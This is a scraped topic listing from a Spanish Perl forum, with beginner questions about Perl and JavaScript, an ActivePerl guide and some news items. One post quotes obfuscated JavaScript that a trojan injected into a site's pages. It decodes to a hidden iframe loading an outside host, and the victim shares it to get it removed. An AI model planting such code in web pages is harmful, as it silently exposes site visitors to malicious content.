¿Alguien tiene un ejemplo del uso del módulo "Find" en busca de permisos del sistema tipo:
find / -type d -perm -01111 -print
?
Saludos.
-
- Publicidad
Fecha actual 2025-02-02 01:01 @084
News of Foro - Perl en Español
Site map of Foro - Perl en Español » Foro : Foro - Perl en Español
La comunidad de programadores en Perl de habla-hispana.Ejemplo de módulo Find
Read more : Ejemplo de módulo Find | Vistas : 5585 | Respuestas : 12 | Foro : Módulos
Problema con system()
¡¡Hola a todos!! Es mi primer post :$ He leído y buscado en el foro sobre mi problema pero no he encontrado nada parecido.
Estoy usando el siguiente comando en un programa Perl:
system("zmu -m 2 -E");
Funciona perfectamente, pero el problema que tengo es que el número "2" es variable y tendría que provenir de una variable llamada $id.
He probado concatenando así:
system("zmu -m ".$id." -E");
No me funciona T·T
Si alguien tiene ...
Estoy usando el siguiente comando en un programa Perl:
system("zmu -m 2 -E");
Funciona perfectamente, pero el problema que tengo es que el número "2" es variable y tendría que provenir de una variable llamada $id.
He probado concatenando así:
system("zmu -m ".$id." -E");
No me funciona T·T
Si alguien tiene ...
Read more : Problema con system() | Vistas : 738 | Respuestas : 4 | Foro : Básico
Perl ActiveState. Instalación y gestión con el PPM
Guía de instalación de ActivePerl. Gestión de módulos con PPM
Sigue una guía de instalación de la distribución Perl ActivePerl de la empresa ActiveState.
Además, cómo buscar y gestionar los módulos Perl con el programa gestor PPM, incluido en el ActivePerl.
1.- Descarga
2.- Instalación
3.- Gestión de módulos con PPM
3.1.- Definiciones
3.2.- Áreas de instalación
3.3.- Repositorios
3.4.- Módulos
3.5.- Documentación
Sigue una guía de instalación de la distribución Perl ActivePerl de la empresa ActiveState.
Además, cómo buscar y gestionar los módulos Perl con el programa gestor PPM, incluido en el ActivePerl.
1.- Descarga
2.- Instalación
3.- Gestión de módulos con PPM
3.1.- Definiciones
3.2.- Áreas de instalación
3.3.- Repositorios
3.4.- Módulos
3.5.- Documentación
- Descarga
Conectándonos por Internet, al sitio ActivePerl.com. Llegamos a esta página: ...
Read more : Perl ActiveState. Instalación y gestión con el PPM | Vistas : 9158 | Respuestas : 0 | Foro : Formación
Perl no existe como un edificio, sino como un acto de amor
«Acabo de ver este vídeo, y sugiero a todo el mundo que haga lo mismo. El vídeo es una charla de Clay Shirky, durante el curso de la cual se desarrollan algunas grandes ideas:
"Perl no existe como un edificio, sino como un acto de amor."
"Perl es, todavía hoy, una viable opción de programación porque millones de personas se levantaron esta mañana amando Perl, y más importante, ellos se aman los unos a ...
"Perl no existe como un edificio, sino como un acto de amor."
"Perl es, todavía hoy, una viable opción de programación porque millones de personas se levantaron esta mañana amando Perl, y más importante, ellos se aman los unos a ...
Read more : Perl no existe como un edificio, sino como un acto de amor | Vistas : 2627 | Respuestas : 2 | Foro : Pasando el rato
Script para eliminar inyección maliciosa en sitio web
Tengo un servidor dedicado por medio de Layered Tech. Hoy en la mañana me desperté con la desagradable noticia de que había sido atacado el servidor con un troyano que inyectó código a todas las páginas con extensión .html, .html, .php y .tpl.
El código que fue insertado después de cada </html> en cada uno de esos archivos es:
<html> <body><script>var source ="=jgsbnf!tsd>(iuuq;00iv2.iv2/do0dpvoufs0joefy/qiq(!xjeui>2!ifjhiu>2!gsbnfcpsefs>1?=0jgsbnf?"; var result = "";
for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1);
document.write(result); </script>
</html> </body>
Es ...
El código que fue insertado después de cada </html> en cada uno de esos archivos es:
<html> <body><script>var source ="=jgsbnf!tsd>(iuuq;00iv2.iv2/do0dpvoufs0joefy/qiq(!xjeui>2!ifjhiu>2!gsbnfcpsefs>1?=0jgsbnf?"; var result = "";
for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1);
document.write(result); </script>
</html> </body>
Es ...
Read more : Script para eliminar inyección maliciosa en sitio web | Vistas : 9893 | Respuestas : 18 | Foro : Avanzado
El precio de desarrollar Linux desde cero
La Fundación Linux realizó un interesante cálculo acerca de cuál sería la cifra que una empresa debería abonar para desarrollar desde cero la distribución Fedora 9
El trabajo fue elaborado por Amanda McPherson, Brian Proffitt y Ron Hale-Evans en base a un estudio realizado en 2002 por David Wheeler.
En ese entonces, el analista concluyó que Red Hat Linux 7.1 tenía un valor de u$s1.200 millones y el kernel (núcleo de un sistema operativo) ...
El trabajo fue elaborado por Amanda McPherson, Brian Proffitt y Ron Hale-Evans en base a un estudio realizado en 2002 por David Wheeler.
En ese entonces, el analista concluyó que Red Hat Linux 7.1 tenía un valor de u$s1.200 millones y el kernel (núcleo de un sistema operativo) ...
Read more : El precio de desarrollar Linux desde cero | Vistas : 825 | Respuestas : 0 | Foro : Pasando el rato
Duda con función JavaScript para eliminar acentos
¡¡¡Hola!!!
Estoy tratando de usar la función quitaacentos() en una página de envío de formulario y me da error.
La página que envía el form
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Documento sin título</title>
<script language="javascript">
function quitaacentos(t){
á="a";é="e";í="i";ó="o";ú="u";
acentos=//g;
return t.replace(acentos,
function($1){
return eval($1)
}
);
}</script>
</head>
<form action="envio.asp" method="post">
Contenido del mensaje:
<input name="ibody" type="text" value="" />
<label>
<input type="submit" name="button" id="button" ...
Estoy tratando de usar la función quitaacentos() en una página de envío de formulario y me da error.
La página que envía el form
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Documento sin título</title>
<script language="javascript">
function quitaacentos(t){
á="a";é="e";í="i";ó="o";ú="u";
acentos=//g;
return t.replace(acentos,
function($1){
return eval($1)
}
);
}</script>
</head>
<form action="envio.asp" method="post">
Contenido del mensaje:
<input name="ibody" type="text" value="" />
<label>
<input type="submit" name="button" id="button" ...
Read more : Duda con función JavaScript para eliminar acentos | Vistas : 7042 | Respuestas : 2 | Foro : JavaScript
Variables argumentativas
Hola a todos :D
Me surgió la duda de las variables argumentativas, lo que yo quiero hacer es un script que trabaje por consola, o sea hacer algo como esto:
Y que me compare el argumento "-n".
Estoy pensando en usar algo como esto, claro que está mal usado, aun no lo sé implementar:
#!/usr/bin/perl
if ($ARGV == "-n") {
print "Normal. \n";
} ...
Me surgió la duda de las variables argumentativas, lo que yo quiero hacer es un script que trabaje por consola, o sea hacer algo como esto:
- Code: Seleccionar todo
C:\Perl>Code.pl -n
Y que me compare el argumento "-n".
Estoy pensando en usar algo como esto, claro que está mal usado, aun no lo sé implementar:
#!/usr/bin/perl
if ($ARGV == "-n") {
print "Normal. \n";
} ...
Read more : Variables argumentativas | Vistas : 1060 | Respuestas : 6 | Foro : Básico
El gobierno chino fotografía a los internautas en cibercafés
El gobierno chino ha comenzado a implementar una controvertida medida para mantener a sus ciudadanos alejados del contenido nocivo de la red: fotografiarlos al ingresar a cibercafés.
Hasta mediados de diciembre, todos los cibercafés de Beijing deberán contar con un equipo para fotografiar a sus clientes y escanear sus documentos de identidad.
14 distritos y condados de Beijing y 1.500 cibercafés ya cuentan con este equipo, llamado “Equipo Registrador de Clientes de Cibercafés de ...
Hasta mediados de diciembre, todos los cibercafés de Beijing deberán contar con un equipo para fotografiar a sus clientes y escanear sus documentos de identidad.
14 distritos y condados de Beijing y 1.500 cibercafés ya cuentan con este equipo, llamado “Equipo Registrador de Clientes de Cibercafés de ...
Read more : El gobierno chino fotografía a los internautas en cibercafés | Vistas : 2206 | Respuestas : 0 | Foro : Pasando el rato
Problemas concatenando
¡Buenas gente! Estoy intentando concatenar dos variables utilizando el operador punto (.). Es curioso porque he estado haciendo pruebas simples y ha funcionado perfectamente (pongo el miniejemplo):
my $rtb="02";
my $bsc="CAT01B2";
print"$bsc\n";
$bsc=$bsc._.RTB.$rtb;
print"$bsc\n";
Pero cuando lo pego a la rutina principal (sin hacer cambio alguno), me aparece el siguiente error:
Bareword "_" not allowed while "strict subs" in use at Aplicacio_v6.pl line 188.
Bareword "RTB" not allowed while "strict subs" in use at Aplicacio_v6.pl ...
my $rtb="02";
my $bsc="CAT01B2";
print"$bsc\n";
$bsc=$bsc._.RTB.$rtb;
print"$bsc\n";
Pero cuando lo pego a la rutina principal (sin hacer cambio alguno), me aparece el siguiente error:
Bareword "_" not allowed while "strict subs" in use at Aplicacio_v6.pl line 188.
Bareword "RTB" not allowed while "strict subs" in use at Aplicacio_v6.pl ...
Read more : Problemas concatenando | Vistas : 884 | Respuestas : 5 | Foro : Básico
Last 10 active topics
Estadísticas
Mensajes totales 36890 • Temas totales 7432 • Usuarios totales 1981